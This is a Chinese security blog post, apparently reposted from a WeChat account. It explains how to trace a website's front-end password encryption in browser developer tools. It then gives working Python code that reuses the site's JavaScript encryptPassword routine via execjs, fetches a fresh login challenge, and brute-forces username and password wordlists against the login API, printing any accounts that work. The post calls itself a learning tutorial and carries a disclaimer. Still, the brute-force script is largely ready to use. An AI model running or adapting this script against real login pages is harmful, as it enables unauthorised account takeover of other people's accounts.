一次有趣的前端加密对抗分享

admin 2025年4月21日23:55:14评论0 views字数 4099阅读13分39秒阅读模式

前言

一次有趣的密码加密爆破分享,仅供学习参考,如需转载请声明原文链接

寻找登录加密点

  • 首先按住ctrl+shift+i打开开发者调试界面

  • 然后找到网络页面,随便输入账号密码提交一次

  • 查看启动器,直接点击蓝色的链接转到密码登录处

一次有趣的前端加密对抗分享

  • 分析js代码

一次有趣的前端加密对抗分享

可以看到FinishLogin将curItem转到doStart()方法中,dostart()方法发送了一个get请求

api/source/${curItem.id}/start?login_name=${              this.loginData[curItem.fields[0]]这里curItem.fields[0]是传入的用户名

然后从这个链接中获取challenge和exchange_key的值

既然有发送请求,那么这个链接从网络日志那里就可以看到了

一次有趣的前端加密对抗分享

  • 查看链接返回的数据

一次有趣的前端加密对抗分享

果然可以看到challenge和exchange_key的值

challenge: "28515141.AYiyasih6qkimRdswF8vhwTs5pGidzZCM18_JCwRe6w"exchange_key: "Phf6vzG7snJUhy7p-B6splD45vfhp0erZJpMhBni9mk"

回到dostart()方法
然后if判断使用是否有验证码,若是没有则转到passwordLogin方法,并且将curItem, challenge, exchange_key传过去

  • 转到passwordLogin方法

  • 这里直接在这个文件中搜passwordLogin就找到了

一次有趣的前端加密对抗分享

直接看加密的部分,使用了encryptPassword()方法,将 exchange_key,challenge,credentials["password"]传入

  • 转到encryptPassword()方法

一次有趣的前端加密对抗分享

可以发现函数所在的路径,转到该文件查看方法

一次有趣的前端加密对抗分享

这里的形参passwordKey就是我们传入的exchange_key,形参challenge就是challenge,password就是传入的password

encryptPassword就是主加密函数,主要的加密方法都在这个文件里,还引用了x25519.js文件中的函数

  • 大致的加密流程如下:

    • 获取challenge和exchange_key的值

    • 使用jwes.js文件中的encryptPassword()方法传入challenge、exchange_key和password进行加密

爆破密码

环境配置

nodejs下载安装

python导入execjs模块

代码编写分析

前言:这里使用python的execjs模块来执行js中的函数,也就是encryptPassword()方法

  • 首先将jwes.js文件保存至本地

  • 下载导入所需的模块
    jwes.js文件中开头有如下代码
    const forge = require("node-forge");
    import x25519 from "./x25519";
    所以我们需要下载js的第三方模块forge,并且导入x25519.js文件
    npm install node-forge
    注意:我好像无法使用import导入x25519.js这个文件,也不知道啥原因,于是我直接将x25519的代码将所有的代码粘贴到jwes.js文件中,并且修改代码

  • 将内置变量修改成全局变量

  • 静态方法改成普通方法

  • 将export给去掉

    大佬们有什么解决方法可以分享下,小弟不甚感激

python代码如下

import osimport execjs#指定js运行环境是nodejsos.environ["EXECJS_RUNTIME"] = "NodeJS"#打开js文件,并且指定编码为utf-8with open("jwes.js", "r", encoding='utf-8') as f:    a = execjs.compile(f.read(), cwd=r"D:environmentNodeJsnode_modules")pwd = []f = open("passwd.txt", "r", encoding='utf-8').readlines()for line in f:    pwd.append(line.replace("n", ''))for i in pwd:#调用js文件中的encryptPassword()方法    result = a.call('encryptPassword', "Phf6vzG7snJUhy7p-B6splD45vfhp0erZJpMhBni9mk","28515141.AYiyasih6qkimRdswF8vhwTs5pGidzZCM18_JCwRe6w", i)    print(result)
  • 注意

    • cwd指定第三方库的路径

    • 文件打开的编码类型指定utf-8

    • execjs.compile(f.read(), cwd=r"D:/environment/NodeJs/node_modules")

错误解决

  • bug1:运行以上的代码出现如下错误:window is not defined

execjs._exceptions.ProgramError: ReferenceError: window is not defined

根据提示,定位到window

一次有趣的前端加密对抗分享

这就是一个生成随机数的函数,但是window是浏览器的特性,nodejs没有这个东西,将这段代码改成如下即可

function cryptoRandomBytes(length) {  let array = new Uint8Array(length);  return crypto.getRandomValues(array)}
  • bug2:js网络请求错误
    exchange_key不变,但是challenge具有实时性,challenge每一次都不一样,需要从链接api/source/${curItem.id}/start?login_name=获取
    但是我无法解决使用js获取该网址返回的json数据包中的challenge字段,一直报错,没办法,我js基础太差了,这里使用python的request模块请求获得challenge的值

python完整代码

使用python获取challenge数据,然后将文件中的密码加密,直接使用python进行爆破

import jsonimport execjsimport requestssuccessCount = 0def mzDes(s,para):    url = 'http://127.0.0.1/api/source/AlbdUKmU/start?login_name=admin'  # 替换为你要获取内容的网页 URL    response = requests.get(url)    content = str(response.json()['data']['challenge'])    despara = execjs.compile(s,cwd=r"D:environmentNodeJsnode_modules").call("encryptPassword","Phf6vzG7snJUhy7p-B6splD45vfhp0erZJpMhBni9mk",content,para)    return desparawith open('jwes.js','r', encoding='utf-8') as jsFile:        a = jsFile.read()        with open('./users','r', encoding='utf-8') as users:   #des username            user = users.readlines()        for u in user:            with open('passwd.txt','r', encoding='utf-8') as pwds:   #des password                    uname = u.strip()                    print(uname)                    # desUsername = mzDes(s,uname)                    # print(desUsername)                    pwd = pwds.readlines()                    for p in pwd:                        passwd = p.strip()                        print(passwd)                        desPassword = mzDes(a,passwd)                        print(desPassword)                        burp0_url = "http://127.0.0.1/api/source/AlbdUKmU/finish"                        burp0_headers = {"User-Agent": "Mozilla/5.0 Firefox", "Accept": "application/json, text/plain, */*", "X-Requested-With":"XMLHttpRequest", "Accept-Language": "zh-CN,zh;q=0.9", "Content-Type": "application/json;charset=UTF-8", "Origin": "http://127.0.0.1/", "Connection": "close", "Referer": "http://127.0.0.1/login"}                        burp0_data = {"login_name": uname, "password": desPassword,}                        rsp = requests.post(burp0_url, headers=burp0_headers, data=json.dumps(burp0_data))                        if rsp.json()['status'] == 'error':                            print('error')                            code = rsp.json()['code']                            print(code)                            if code == "UNKNOWN_ACCOUNT":                                break                            print("-------------------")                        else:                            successCount=successCount+1                            print("sucess:ntuname:"+uname+"ntpassword:"+passwd)                            print("*****正确的密码********")                            print(rsp.content)print(successCount)

原文始发于微信公众号(蓝云Sec):一次有趣的前端加密对抗分享

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月21日23:55:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一次有趣的前端加密对抗分享https://cn-sec.com/archives/3972109.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息